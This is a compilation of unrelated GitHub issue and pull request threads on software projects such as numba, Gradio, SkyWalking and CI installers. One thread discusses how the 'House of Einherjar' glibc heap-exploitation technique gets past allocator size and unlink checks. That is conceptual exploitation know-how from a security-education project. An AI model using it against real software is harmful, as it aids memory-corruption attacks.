Question2:
I thought we should only allow left button click by default and leave a switch for developer to decide whether turn on right button click or not.


Add constant lowering support for SliceTypes

This PR adds constant lowering support for SliceTypes.
The approach used here is largely taken from existing implementations throughout the codebase (and some guess work), so someone will need to tell me if there's a newer/more preferable way to do this.
Closes #6744.

I noticed an issue with ndarray indexing while testing these changes:
import numpy as np
import numba

ts = slice(None, None, None)

@numba.njit
def test():
    return np.array([[1, 2], [3, 4]])[ts]

test_array = np.array([[1, 2], [3, 4]])
# Succeeds
assert np.array_equal(test(), test_array[ts])

ts = slice(1, None, None)

@numba.njit
def test():
    return np.array([[1, 2], [3, 4]])[ts]

# Fails
assert np.array_equal(test(), test_array[ts])

Any ideas?

I noticed this line in the inspect_types output:
    #   $22load_global.10 = global(ts: slice(1, None, None))  :: Literal[slice](slice(None, None, None))

I further traced the discrepancy implied by the comment above to the lower_cast from SliceLiteral to SliceType.  My implementation is probably doing something wrong and—for example—equating a general type with more specific ones (e.g. via some sort of caching of which I'm presently unaware).

The issue is that the _typecache considers a Literal[slice](slice(1, None, None)) and Literal[slice](slice(None, None, None)) to be the same, due to SliceLiteral's use of SliceType.key (i.e. self.members).

All right, the issue with SliceLiteral has been fixed, and an explicit test was added.

Thanks very much for the PR, I've queued it for review.

I've added another commit relocating the tests and removing the unnecessary asserts.  Tell me if you want me to squash/rebase these commits.

I'm assuming that someone will squash these commits; otherwise, adding commits that only fix earlier commits is quite painful.

@brandonwillard thank you for updating.


What is the relationship between this repo and certbot?

@lukas2511 It seems like this repo doesn't depend on certbot at all. Do they do the same thing? Do they do very different things? (Sorry I'm a noob! It would be nice if certbot were mentioned in the readme though, for fellow noobs)

This is a great question. I don't know the definitive answer, but from my experimentation, this repo is more of a manual, stripped-down, essentials version (and works really well). I have been able to create tens of dozens of certs for sites quickly and easily with this repo, and setting up a cron job for auto-renew is dead-simple.
Certbot didn't work for me on my non-standard system, seemed bloated, and I found the documentation to be super-unclear, like it was geared towards total beginners, but even then lacked clarity on what was going on.

@EvilJordan is correct. The Let's Encrypt system is using a protocol they call "ACME". Like everything else in computers, there's more than one way to implement it. certbot is the default/reference implementation, this repo is a simpler, clearer tool implementing it all in bash. It may not have all the same features (like setting up a temp webserver on port 80), but all the other important features are there, with a clear way of adding the missing ones with the webhooks.
if the ACME protocol gets an update,  both certbot and letsencrypt will get an upgrade, but that's the only relationship between the two :)


Add CONTRIBUTING.md file

This is a working draft for gathering common information for working on Hydrogen.

@blittle ok, I'll combine those other docs here as well.

@blittle @juanpprieto I ended up updating this PR with a much larger set of changes. I removed a lot of old and irrelevant information about "headless components" (they don't have a place), but I decided to adapt some concepts into a "principles" area which might useful or interesting. I'm not a preacher or trying to speak for the whole team, we can certainly build on these ideas and I don't want to get too hung-up on these now (and maybe something already exists cc @benjaminsehl @heimidal.
A few other things to consider:

Anything I removed that you think is still important?
Anything still missing?
Does it look nice (check the markdown preview).
Spelling/Grammar/Voice/Tone/Consistency
The usage of MD tables to keep the display of commands consistent and easy to parse.

As a follow-up, we should add more information for each repo specifically as I did with the CLI in the last commit. (credit: @juanpprieto for that suggestion).

I'm out next week so might not get to this in time for your shipping it, just a heads-up @cartogram


Better exclusive control in log

This is just an idea. No plan at the moment.

The Raft log is logically separated into 4 regions and most of the case, a thread manipulates only one of them.
To gain the maximum concurrency in IO to the log, the implementation at the moment loses some sort of guarantees coming from Rust type system so we can barely be confident about the correctness. The implementation do consider the log property above however it is too implicit and hard to feel sure for readers.
The goal of this issue is design and implement nice types that still maintains the maximum concurrency but makes it more convincing.

Simple solution is divide the log into only two segments and protect each segment with RwLock.
This separation will make the code super convincing but sacrificing the performance because entry insertion and entry application won't happen simultaneously. I can't seriously take this.


Fix possibility of negative turnip prices and errors with spike days

Also add tests
Merge on Sunday to avoid messing with this weeks' prices.

@prscheduler 08/09/2019T00:00


added function to perform rotation about axis frequency.

#98
Note: the test is currently not the greatest but I didn't want to add saved synthetic test data to the repo.

Codecov Report

Merging #107 into master will decrease coverage by 0.09%.
The diff coverage is 86.66%.

@@            Coverage Diff            @@
##           master     #107     +/-   ##
=========================================
- Coverage   97.36%   97.26%   -0.1%
=========================================
  Files          33       33
  Lines        1633     1648     +15
=========================================
+ Hits         1590     1603     +13
- Misses         43       45      +2

Impacted Files
Coverage Δ

fooof/tests/test_synth.py
100% <100%> (ø)
:arrow_up:

fooof/synth.py
93.2% <80%> (-1.42%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 479c000...6848319. Read the comment docs.

I simplified the function a little for the scope of FOOOF, updated some things for style, and updated the tests a little.
There is a further update to do for data checking (#108), but that is really an independent update, so this looks good to me - I'll merge it in.


i want to delete achievements from a game that was removed from steam

i want to delete achievements from a game that was removed from steam but cuz nobody can "own" it anymore it won't let me

That's impossible with the Steamworks API (which SAM uses) if the game was flat out removed.


Got error:"transaction spends a nonexisting siacoin output" when submitted valid share(used 1.3.1)

Bug Report
when submitted valid share to siad, got error : transaction spends a nonexisting siacoin output
I am miner, I updated my siad from 1.3.0 to 1.3.1 several day ago.
But after upgraded, I did not got any block.
When submitted valid share, I got "transaction spends a nonexisting siacoin output"!!!
Environment

Sia version: 1.3.1
OS:  ubuntu 16

Duplicate of #2470


Better integration between synda and data repositories

There will be two improvements that will make synda downloads really useful:
1.(Optionally) Put synda downloads on the data repository.

Be able to complete the data in the repository with synda downloads. For example, I downloaded 5 years of data for testing and then tried to run a test for 50 years. It will fail because of the missing data even if I put the synda download option

It is not urgent nor I have time for that but wanted to keep this ideas documented

Related  to #173

this is a problem that needs a bit more thinking - if you are a user running on your own machine (whether it be institution or personal) and not on data clusters like Jasmin/BADC and DKRZ this will be very useful and in terms of blowing up your local repository with tons of synda downloads, it is absolutely your business - but if you are running esmvaltool on a data cluster like Jasmin, that has access to BADC, but still use your own data and make downloads via synda for data that already lives on BADC, now this is a nasty problem - soon, the cluster admins will complain that the disks are filling up and they are filling up with data duplicates. So from a technical point of view - very useful, from an environmental point of view -> we have to be careful


show default planes on empty scene

Closes #2880
Diff is large on this one because there were tentatively related clean-up tasks.
I haven't thoroughly tested it, but there are two things you should know:
There's an existing issue where the engine's auto scale of the default planes breaks really easily resulting in the default planes being too big (demo by showing planes on load, adding something to the scene to make them hid again, then emptying the scene to show the giant planes)
https://github.com/user-attachments/assets/eda4df9a-6714-4859-9c3c-b80f5deeeddb
I made the planes not react to hovers until the user actually hits start sketch this feels pretty natural as orientation purposes only
https://github.com/user-attachments/assets/950acb57-0f04-4781-aa6d-f64fbf22484b
CC @jessfraz, I'll try and guide this to a merge and release tomorrow, but I'm not at home so it might be a bit slow.

In https://github.com/KittyCAD/modeling-app/pull/3237/commits/a2be3bdb9e2ab6feb284bc302a1457ce00eb432f there are three tests that are consistently failing, so they are probably real.
I'll look at them in my morning.

Okay I stayed up a bit later, hope I fixed them

Just pulled it down and tried to break it, and I couldn't. Nice way to go man

@franknoirot what do you say, should we ship it?

Added a test for this too in https://github.com/KittyCAD/modeling-app/pull/3249


[8.x] Add render method to Blade Facade

this was introduced here #40425

Shouldn't the second and third args have default values even in the annotation?

@stancl fixed, thanks


Fix typos

Proofread the texts a bit.
Note about affect/effect: affect is usually a verb, and a verb in that position is not expected, so I replaced it with effect.
solid was chosen as a most fitting missing word there in my opinion, can be changed.

Thanks :+1:


Make it possible to run doxygen without invoking CMake

As doxygen is just scanning the source code, we shouldn't need to do a build just to generate the documentation. In particular, this is annoying on the CI system.
It is convenient to have an option to build the docs as part of the rest of the build, so it should remain a part of the CMake config, but it would also be useful to be able to do it by simply invoking doxygen directly.

I don't think this is particularly important. Things work as is, so let's just close this.


Some Features v1

Hello,
i have some ideas it would be nice if these could be implemented.

german or language sub / dub filter Possibly with permanently active function.
filter / search series by language.
skip intro possibly self-adjustable for each series for those where it does not go automatically.

If this could be integrated it would make the app even more flexible and innovative.
Greetings and thx for nice work.

Hey @jhassan8 take a look into my discussions post please :)

skip intro = perfect 😀

Hi @Nexow91, @Nucito In the latest update (v1.1), the function to skip the intro has been added. If you're using the online version, it's highly likely that you already have it updated and ready to use. However, if you're using the offline version, you need to install the new version. Regards.

Hello hanks for the update post. Im using the online version. Im like what are u doing. Thx for the .bat to easy install the app.
Im updating on the newest version and give feedback :)
My colleagues also noticed what else would be good in the app or what could be added.

next episode button on the top right of the videos would be great so that you can manually switch to the next episode before the end is reached.

the next episode is not correctly taken over if you watch on another device is still continued at the last watched on the TV episode.

Of course, I do not know now if you have already fixed or integrated in the latest version.
Nevertheless, we are thrilled and glad that we have found someone who provides us and the rest of the community with such a great app.
Greetings Nexow

Hi @Nexow91, @Nucito In the latest update (v1.1), the function to skip the intro has been added. If you're using the online version, it's highly likely that you already have it updated and ready to use. However, if you're using the offline version, you need to install the new version. Regards.

Hi @jhassan8 I have now been able to test the Skip Intro feature for some time and it works beautifully. So I thought I give a positive feedback the application is getting better and better I'm already looking forward to more features you create what not even Samsung and streaming providers provide one :)


includes unhealthy instances while computing expired instances

Changes proposed in this PR

verifies scaling algorithm works when there are no healthy instances but expired instances are present
includes unhealthy instances while computing expired instances
limits the number of unhealthy expired instances considered by the scaling algorithm

Why are we making these changes?
Expired instances can be healthy or unhealthy. We should consider both classes of instances while accounting for expired instances.

Oops, good catch! Limited the number of unhealthy expired instances the autoscaler will try and replace.


Refactor trx_pool to only check for race condition, not other transaction errors to improve i) computation optimization ii) code readibility

I'm gonna make the following optimization to improve both i) code readability for beginners and ii) handle transaction logic checking a bit more elegantly.
check_transaction is currently being called in the execute extrinsic and the transaction pools internal validate_trx step.
So this means for every valid transaction, check_transaction actually runs twice, iterating over inputs & outputs twice. Once during trx pool stage, and once during actual extrinsic execution.
This seems inefficient && the code is confusing code for the learner.
Specifically:
Current implementation:
Pro: Efficient for cases where trx are invalid, transactions are invalidated at the first trx_pool validate_transaction step before runtime even executes the extrinsic. We only iterate through inputs vec once! But this seems not elegant since we want most of the UTXO validation to happen during the execution of the extrinsic.
Con:

Check_transaction implementation is difficult for beginners to understand
Inefficient for cases where transactions ARE valid. We iterate through inputs/outputs vec twice!

Refactoring will:
Have trx pool check for only missinginput case, refactor it out from check_transaction.
Pro: Efficient for valid cases where trx are VALID
Con:

We're catching invalid trx during runtime execution of extrinsic, not during trx_pool.

One thing to keep in mind is that the tx_pool is in the outer node. That means an attacker may hack his or her node so that the tx_pool skips these validation checks entirely. With the hacked node the attacker can author blocks that contain transactions that would have been rejected at the transaction pool stage in an un-hacked node. When that attack block is gossiped around and imported by other nodes, they should still reject the block because it contains an invalid transaction.
That means all the checks should still happen in the runtime. Although lightening the checks in the tx_pool would be fine.

One thing to keep in mind is that the tx_pool is in the outer node. That means an attacker may hack his or her node so that the tx_pool skips these validation checks entirely. With the hacked node the attacker can author blocks that contain transactions that would have been rejected at the transaction pool stage in an un-hacked node. When that attack block is gossiped around and imported by other nodes, they should still reject the block because it contains an invalid transaction.
That means all the checks should still happen in the runtime. Although lightening the checks in the tx_pool would be fine.

For sure. that's why I only want trx pool to check for race conditions, not anything else

Design changes I'll be incorporating:

trx pool only checks for race conditions, as it should.
removed the rest of check_transaction logic from trx pool, since its redundant and should be done in the runtime pallet itself.
removed trx priority based on leftover value from trx pool, this is a prioritization step that can be done by indiv nodes.

Reverting this change since we're accepting unsigned transactions now.


fix: build webpack nofile error

@frdomovic is this still relevant?

Will leave it for a bit more just to check if this can be removed

No changes for a long time. Closing


MAINT: optimize.root_scalar: fix underflow sign check bug

Reference issue
Closes gh-5584
What does this implement/fix?
gh-5584 reported a minor bug with the sign checks in the bracketing root solvers when underflow occurs. This resolves the bug as recommended in the issue.
Additional information
In bisect, fm*fa >= 0 changed to signbit(fm)==signbit(fa), which is not the same condition when fm and fa are zeros of opposite sign. Please check that this is OK.

Refguide check failure unrelated. Feel free to commit the PEP8 fix with [skip ci] before merge.


rmw_fastrtps: 1.1.0-1 in 'rolling/distribution.yaml' [bloom]

Increasing version of package(s) in repository rmw_fastrtps to 1.1.0-1:

upstream repository: https://github.com/ros2/rmw_fastrtps.git
release repository: https://github.com/ros2-gbp/rmw_fastrtps-release.git
distro file: rolling/distribution.yaml
bloom version: 0.9.7
previous version for package: 1.0.1-2

rmw_fastrtps_cpp
* Ensure compliant init/shutdown API implementation. (#401 <https://github.com/ros2/rmw_fastrtps/issues/401>)
* Update Quality Declaration to QL3. (#403 <https://github.com/ros2/rmw_fastrtps/issues/403>)
* Finalize context iff shutdown. (#396 <https://github.com/ros2/rmw_fastrtps/issues/396>)
* Make service wait for response reader (#390 <https://github.com/ros2/rmw_fastrtps/issues/390>)
* Contributors: Michel Hidalgo, Miguel Company

rmw_fastrtps_dynamic_cpp
* Ensure compliant init/shutdown API implementation. (#401 <https://github.com/ros2/rmw_fastrtps/issues/401>)
* Finalize context iff shutdown. (#396 <https://github.com/ros2/rmw_fastrtps/issues/396>)
* Make service wait for response reader (#390 <https://github.com/ros2/rmw_fastrtps/issues/390>)
* Contributors: Michel Hidalgo, Miguel Company

rmw_fastrtps_shared_cpp
* Do not use string literals as implementation identifiers in tests. (#402 <https://github.com/ros2/rmw_fastrtps/issues/402>)
* Ensure compliant init options API implementations. (#399 <https://github.com/ros2/rmw_fastrtps/issues/399>)
* Finalize context iff shutdown. (#396 <https://github.com/ros2/rmw_fastrtps/issues/396>)
* Handle RMW_DEFAULT_DOMAIN_ID. (#394 <https://github.com/ros2/rmw_fastrtps/issues/394>)
* Make service wait for response reader (#390 <https://github.com/ros2/rmw_fastrtps/issues/390>)
* Contributors: Michel Hidalgo, Miguel Company

Holding for a Rolling sync


Updating the Documentation to be more Beginner friendly

I want to update the repository Readme.md to be more understandable for the beginners and start contributing on this project.

Hi @ atyamksharma
Are you an outreachy applicant?
If so, you should reach out to the mentors directly about the tasks for the contribution phase. You can find their contact details here - https://www.outreachy.org/outreachy-may-2023-internship-cohort/communities/metal3/#improve-the-metal3-io-website-and-documentation
@elfosardo  I think this ticket is a bit openended, should we close this ticket WDYT?

@Rozzii yes please close this issue
The instructions for the Outreachy participants have been sent over a week ago, opening issues in the website repository was not part of it.

@satyamksharma please take a look at @elfosardo comment, closing it for now.
/close


google analytics moved to head

Google analytics tracking script moved from body to head as it is recommended by google:
https://support.google.com/analytics/answer/1008080?hl=en#GA
I don't know if proposed before but just to comment I don't find useful to track dashboard pages. Dashboard might use other base.html

Thanks! Merged it via a rebase


Extract feature？

Can the model extract features, and if so, how to extract image features？  Hope to get your reply，thanks a million.

Please refer to here: https://github.com/UX-Decoder/Segment-Everything-Everywhere-All-At-Once/blob/7b2e76dbb17d0b7831c6813a921fe2bc8de22926/modeling/architectures/seem_model_v1.py#L453 for feature extraction.

Thank you for your reply, and if I want to extract features from a medical image, how do I need to change the code, or how can I change the data to apply my data?


Why i cant autoscale my inference service ?

/kind bug
What steps did you take and what happened:
I tried to do autoscaling docs
And i did load to my isvc hey -z 30s -c 5 -m POST -host ${SERVICE_HOSTNAME} -D $INPUT_PATH http://${INGRESS_HOST}:${INGRESS_PORT}/v1/models/$MODEL_NAME:predict but it was not working autoscaling

It was working just one pod. why did not work it ?

It exists autoscaler on Knative serving

- But QPS Test is working.. it works with depended H/W spec ?
What did you expect to happen:
Autoscaled pod
What's the InferenceService yaml:
[To help us debug please run kubectl get isvc $name -n $namespace -oyaml and paste the output]
Anything else you would like to add:
[Miscellaneous information that will assist in solving the issue.]
Environment:

Istio Version:
Knative Version:
KServe Version: 0.10
Kubeflow version: nope
Cloud Environment:[k8s_istio/istio_dex/gcp_basic_auth/gcp_iap/aws/aws_cognito/ibm]
Minikube/Kind version:
Kubernetes version: (use kubectl version):
OS (e.g. from /etc/os-release):

i know that it operates with default concurrency now


NewSpanAnnotator is not named ideally

NewSpanAnnotator is a ClientTrace but named as a SpanAnnotator. It makes it harder for the user to connect the dots between NewSpanAnnotator and Transport. NewClientTrace.

NewClientTrace doesn't tell you what the function does, it just repeats the type name without adding information.


Swift installer script no longer works

Description
    azure-arm: Downloading 'https://swift.org/builds/swift--release/ubuntu1804/swift--RELEASE/swift--RELEASE-ubuntu18.04.tar.gz' to '/tmp/swift--RELEASE-ubuntu18.04.tar.gz'...
    azure-arm: Download completed
==> azure-arm:
==> azure-arm: gzip: stdin: not in gzip format
==> azure-arm: tar: Child returned status 1
==> azure-arm: tar: Error is not recoverable: exiting now
==> azure-arm: mv: cannot stat 'swift--RELEASE-ubuntu18.04': No such file or directory

https://github.com/actions/virtual-environments/blob/main/images/linux/scripts/installers/swift.sh#L12 no longer returns swift version.
Virtual environments affected

[X] Ubuntu 18.04
[X] Ubuntu 20.04
[ ] macOS 10.15
[ ] macOS 11
[ ] Windows Server 2016
[ ] Windows Server 2019
[ ] Windows Server 2022

Image version and build link
N/A
Is it regression?
No response
Expected behavior
No response
Actual behavior
No response
Repro steps
N/A

Perhaps worth switching to SWIFT_VERSION=$(curl -s "https://api.github.com/repos/apple/swift/releases/latest" | grep -Po '"tag_name": "swift-\K[0-9.]+')

@JayDoubleu Hello!
The easiest thing is just to pass the --compressed option to curl, as the output is compressed, I will prepare a pull request this week.

Yes, until it breaks down again. 🙃

@JayDoubleu thank you for your contribution!


Quickfix to add Rider files to gitignore

These are kind of needed by Rider though which is why they're there


FileNotFoundError: [Errno 2] No such file or directory: '/tmp/gradio/tmpba40hg4p.png'

There was an error like this.
I also want to ask, how to cancel the display of the temp file and display the actual file instead, thanks.
Traceback (most recent call last):
File "/usr/local/lib/python3.10/dist-packages/gradio/routes.py", line 422, in run_predict
output = await app.get_blocks().process_api(
File "/usr/local/lib/python3.10/dist-packages/gradio/blocks.py", line 1326, in process_api
data = self.postprocess_data(fn_index, result["prediction"], state)
File "/usr/local/lib/python3.10/dist-packages/gradio/blocks.py", line 1260, in postprocess_data
prediction_value = block.postprocess(prediction_value)
File "/usr/local/lib/python3.10/dist-packages/gradio/components.py", line 4461, in postprocess
file = self.pil_to_temp_file(img, dir=self.DEFAULT_TEMP_DIR)
File "/content/gdrive/.shortcut-targets-by-id/1sa0Ccm-QmVPOCQUjZKiCm_L2qzbNTnQ5/sd/stable-diffusion-webui/modules/ui_tempdir.py", line 55, in save_pil_to_file
file_obj = tempfile.NamedTemporaryFile(delete=False, suffix=".png", dir=dir)
File "/usr/lib/python3.10/tempfile.py", line 698, in NamedTemporaryFile
file = _io.open(dir, mode, buffering=buffering,
File "/usr/lib/python3.10/tempfile.py", line 695, in opener
fd, name = _mkstemp_inner(dir, prefix, suffix, flags, output_type)
File "/usr/lib/python3.10/tempfile.py", line 395, in _mkstemp_inner
fd = _os.open(file, flags, 0o600)
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/gradio/tmpba40hg4p.png'

I'm also getting this issue, here's my error:
Traceback (most recent call last):
File "/usr/local/lib/python3.10/dist-packages/gradio/routes.py", line 422, in run_predict
output = await app.get_blocks().process_api(
File "/usr/local/lib/python3.10/dist-packages/gradio/blocks.py", line 1326, in process_api
data = self.postprocess_data(fn_index, result["prediction"], state)
File "/usr/local/lib/python3.10/dist-packages/gradio/blocks.py", line 1260, in postprocess_data
prediction_value = block.postprocess(prediction_value)
File "/usr/local/lib/python3.10/dist-packages/gradio/components.py", line 4461, in postprocess
file = self.pil_to_temp_file(img, dir=self.DEFAULT_TEMP_DIR)
File "/content/gdrive/MyDrive/sd/stable-diffusion-webui/modules/ui_tempdir.py", line 55, in save_pil_to_file
file_obj = tempfile.NamedTemporaryFile(delete=False, suffix=".png", dir=dir)
File "/usr/lib/python3.10/tempfile.py", line 698, in NamedTemporaryFile
file = _io.open(dir, mode, buffering=buffering,
File "/usr/lib/python3.10/tempfile.py", line 695, in opener
fd, name = _mkstemp_inner(dir, prefix, suffix, flags, output_type)
File "/usr/lib/python3.10/tempfile.py", line 395, in _mkstemp_inner
fd = _os.open(file, flags, 0o600)
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/gradio/tmp1qjuxcga.png'

I am getting the same error related to grid tmp files when running in paperspace, happens after every generation with a batch size larger that 1, does not happen if batch size = 1

In colab it can't even generate one :(

I set the "always save grids" to true, resolved issue for me.

Thanks penguin, that narrowed it down a bit.
It looks like if I have "always save all generated images" checkmarked, it seems to go through okay.
However..
It doesn't really work for me to save every single image that generated. I normally tinker around a bit until I get the artwork just right, now my drive will be cluttered with tons of junk images. lol
I'm trying to get it how it used to be where I would just be able to manually save images that turn out good. I hope someone has a good workaround for not having to save everything. Thanks!


FLEX-1803_Rename_Dto_Classes_Using_Dto_Postfix

SonarQube analysis reported 9 issues

 9 major

Watch the comments in this conversation to review them.
4 extra issues
Note: The following issues were found on lines that were not modified in the pull request. Because these issues can't be reported as line comments, they are summarized here:

 ConfigurationManagementService.java#L168: Refactor this code to not nest more than 3 if/for/while/switch/try statements.
 DeviceMonitoringService.java#L90: Replace the usage of the "instanceof" operator by a catch block.
 ScheduleManagementService.java#L69: Refactor this code to not nest more than 3 if/for/while/switch/try statements.
 RegisterDeviceMessageProcessor.java#L40: Make this IP "<IP_ADDRESS>" address configurable.

All is well.

I tested this version of the code using my dev-environment.
Everything looks good.

SonarQube analysis reported 9 issues

 9 major

Watch the comments in this conversation to review them.
4 extra issues
Note: The following issues were found on lines that were not modified in the pull request. Because these issues can't be reported as line comments, they are summarized here:

 ConfigurationManagementService.java#L168: Refactor this code to not nest more than 3 if/for/while/switch/try statements.
 DeviceMonitoringService.java#L90: Replace the usage of the "instanceof" operator by a catch block.
 ScheduleManagementService.java#L69: Refactor this code to not nest more than 3 if/for/while/switch/try statements.
 RegisterDeviceMessageProcessor.java#L40: Make this IP "<IP_ADDRESS>" address configurable.

All is well.


house_of_einherjar example size check

I'm seeing the following in the example posted:

We edit our fake chunk size so that it is small enough to pass size checks

Can you guys post a url (maybe in the code) to where in the C code this check is taking place?

Now I haven't stepped through the example but I believe it's referring to the size check against av->system_mem in the binning code in _int_malloc, since after the consolidation the size of the fake chunk would be huge and we would abort here.

@andigena is correct. If the fake_chunk does not end up as the new top chunk(because of c), it'll end up in 'unsorted' bin. Chunks from unsorted bin will be checked as mentioned above ^.
Also, a recent commit(18th March 2017) adds another check in unlink for the size of the chunk being unlinked. The size(with masked SIZE_BITS) should match the next chunk's prev_size. A modification is required for the 'House of  Einherjar' to work for future versions of glibc.

The mentioned line has since been replaced with a better description. Also a bypass for the new check @DhavalKapil mentioned was introduced.
@zardus Guess you can close this one as well

:+1:


Add new number variable properties to template editing

What does this PR do?
Adds support for the new format and scale properties on the variableType object in the variables json.
What issues does this PR fix or reference?
@W-13859170@

variableSchema.test.ts also has a test for the various code-completions for the various variable types coming from the schema (to make sure we don't break things) -- look for the NumberType entry in has correct code completions for variableType in there, to make sure that format and scale show up for number types. And, probably need a test in there for the enum values for format.

I made a change to test the code completions, but not for the specific format enum values yet. Will do that next.

OK @smithgp I added an integration test for the format completions.


feature request - make it faster than uvloop and then create pyo3 bindings so that we can use it in Robyn without refactor

the issue is definitely partly for fun but great to see you working on this @gi0baro !!

@erikwrede brought me here again!


runtime error: invalid memory address or nil pointer dereference

This is going to be SUPER useful, but, I can't seem to get it to work.  I downloaded the binary from the portal, acquired a Comprehensive mans file from the HX and tried all the options, but just going with the simplest one here -
To make it easier to try and get it to work I renamed the file to Comp.mans.  (I tried it without renaming and same memory error).

and this always give me --

"""
[+] Extracting archives: |----------| 0/1   0% [elapsed: 00:00 left: 00:00,   NaN iters/sec]panic: runtime error: invalid memory address or nil pointer dereference
[signal 0xc0000005 code=0x0 addr=0x18 pc=0x56ab36]
goroutine 19 [running]:
github.com/fireeye/goauditparser.GoAuditExtract_Thread(0x651b40, 0xc000144c40, 0x5d7941, 0x1, 0xc000012580, 0x37, 0xc00000af60, 0x5, 0x10100, 0xc00001acc0, ...)
D:/Exclusions/Programming/GoLang/src/github.com/fireeye/goauditparser/extractor.go:230 +0x366
created by github.com/fireeye/goauditparser.GoAuditExtract_Start
D:/Exclusions/Programming/GoLang/src/github.com/fireeye/goauditparser/extractor.go:139 +0x2fd
"""
If I can just get this to extract the timeline and the audits... that would be huge.
I tried these diff combinations, placing the files in all different areas.
GoAuditParser_Win.exe -i Comp.mans
GoAuditParser_Win.exe -i zip -o csv
GoAuditParser_Win.exe -i Comp.mans -o csv -tl -t 1
I kept getting the memory error each time.
Thanks for writing this, hopefully I can get it to work!

I ran into the same issue. Did you eventually find the solution for this?


[ISSUE #3141]  add producer acl authentication

Fixes #3141 .
Motivation
Explain the content here.
Explain why you want to make the changes and what problem you're trying to solve.
Modifications
Describe the modifications you've done.
Documentation

Does this pull request introduce a new feature? (yes / no)
If yes, how is the feature documented? (not applicable / docs / JavaDocs / not documented)
If a feature is not applicable for documentation, explain why?
If a feature is not documented yet in this PR, please create a followup issue for adding the documentation

Please fix the license check error


feat: consolidate select write

This consolidates the select write so that the multistream protocol and the first select protocol are sent in the same packet. This saves a round trip.
Ideally, we would also add a small delay before replying to the select response to do the same action when responding, but I am saving that for a separate PR.
I also updated some logs to make it easier to understand what's going on. Using this on the libp2p core refactor I was having a hard time understanding the order of the log messages.
I took the to-reader-writer logic and created it-handshake based off of that, as we will need support for this in other modules.

Added changes per feedback including package lock removal. I also bumped the dependencies of the newly released modules.


Welcome to new contributors

Welcome new contributors!
@EjembiEmmanuel, @Ayoazeez26, and @josephchimebuka
Keep building and have Joy

Thank you @MSghais and @ugur-eren


why is firebase-messaging listed as a dependency?

I couldn't find usages for this dependency :
https://github.com/mixpanel/mixpanel-react-native/blob/6c8747b4d0f656424970ef595e92421e0b849205/android/build.gradle#L38
If it is essential, there should be a way to override the version with a project.ext(example) variable. v17.3.4 is quite old.

hi @LonelyCpp , it's obsolete and has been removed in v1.2.3. Thanks for bringing it up!


Project Feedback!

@jasonify : The requirement User is displayed the username, name, and body for each tweet is incomplete. Pls complete and update status here

Ahh sorry, did not see that in the provided mockup for the required stories and I believe what I am missing was the user's Name so I have added that. Let me know if this is what I was missing:

I've also pushed the updated code to master.

:+1: nice work. A few notes after checking out the code:

Consider adding more polish to UI
Good to see you were able to format the timestamp cleanly
Good to see you refreshed the timeline after composing a new tweet
Nice touch with the character count being displayed while the user composes a tweet
Good job using RecyclerView instead of ListView
Consider adding [progress bars] (http://guides.codepath.com/android/Handling-ProgressBars#actionbar-progress-bar) to your app whenever a network request goes out

Here's a detailed Project 3 Feedback Guide here which covers the most common issues with this submitted project. Read through the feedback guide point-by-point to determine how you could improve your submission.
Let us know if you have any other thoughts or questions about this assignment. Hopefully by now you feel pretty comfortable with all the major pieces to basic Android apps (Views, Controllers, ActionBar, Navigation, Models, Authentication, API Communication, Persistence, et al) and see how they all fit together. We are close now to a turning point in the course where you should be hitting a "critical mass" towards your knowledge of Android.
/cc @codepathreview


publish artifacts

publish cppsharp artifacts along with required dependencies

This is not correct, as the paths are not correct, builds will be under a bin/Release_x86 or similar naming scheme.
You are also not adding the include folder to the artifacts.
If you want to send a PR, take my branch and just add the include folder to the paths.

@tritao OK I'll do that thanks.
So what paths do I need to set so that it only upload CppSharp dlls and the required std-symbols one? Is it:
bin/Release_x86/CppSharp*

?

You can try bin/Release_-${{ matrix.config.platform }}/... I guess.
By the way, you might have to publish a branch under your own fork to test the CI changes.
I think by default, for security reasons, Actions will not take into account workflow changes in submitted PRs.

@tritao The actions seem to have run fine, they just couldn't find the paths. I've committed a change to try and use globbing instead.

@tritao That's all working fine now. I've tested the published artifacts and it integrates as expected. It's publishing the minimal required files.
Let me know please if you're happy with this PR.
Thanks.

Cool thanks for the PR.


Issues:spring-cloud-gateway traceid does not transmit #3411

skywalking version:6.4.0-SNAPSHOT
spring-cloud-gateway-version:2.1.2.RELEASE
Problem Description:
Custom filter,traceid does not transmit.When the filter implements the "GlobalFilter, Ordered" interface,"DefaultServerWebExchange" is not an implementation of "EnhancedInstance".Line number:NettyRoutingFilterInterceptor#89.
Solution:
Direct use of "InstanceMethodsAroundInterceptor" interface parameter "EnhancedInstance objInst".
Please answer these questions before submitting pull request

Why submit this pull request?

[ ] Bug fix

[ ] New feature provided

[ ] Improve performance

Related issues

Bug fix

Bug description.

How to fix?

New feature or improvement

Describe the details and related test reports.

ServerWebExchange had set the active span at DispatcherHandlerHandleMethodInterceptor.
You mean ServerWebExchange SkyWalkingDynamicField is null at NettyRoutingFilterInterceptor?
Do you see the why ServerWebExchange is it?

    public static EnhancedInstance getInstance(Object o) {
        EnhancedInstance instance = null;
        if (o instanceof ServerWebExchangeDecorator) {
            ServerWebExchange delegate = ((ServerWebExchangeDecorator) o).getDelegate();
            if (delegate instanceof DefaultServerWebExchange) {
                instance = (EnhancedInstance) delegate;
            }
        } else if (o instanceof DefaultServerWebExchange) {
            instance = (EnhancedInstance) o;
        }
        return instance;
    }

instance = (EnhancedInstance) o;
A transition exception was thrown

    public static EnhancedInstance getInstance(Object o) {
        EnhancedInstance instance = null;
        if (o instanceof ServerWebExchangeDecorator) {
            ServerWebExchange delegate = ((ServerWebExchangeDecorator) o).getDelegate();
            if (delegate instanceof DefaultServerWebExchange) {
                instance = (EnhancedInstance) delegate;
            }
        } else if (o instanceof DefaultServerWebExchange) {
            instance = (EnhancedInstance) o;
        }
        return instance;
    }

instance = (EnhancedInstance) o;
A transition exception was thrown

    public static EnhancedInstance getInstance(Object o) {
        EnhancedInstance instance = null;
        if (o instanceof ServerWebExchangeDecorator) {
            ServerWebExchange delegate = ((ServerWebExchangeDecorator) o).getDelegate();
            if (delegate instanceof DefaultServerWebExchange) {
                instance = (EnhancedInstance) delegate;
            }
        } else if (o instanceof DefaultServerWebExchange) {
            instance = (EnhancedInstance) o;
        }
        return instance;
    }

instance = (EnhancedInstance) o;
A transition exception was thrown

Please see what the class name is and look at the specific location of the span, and why we don not enhance it.

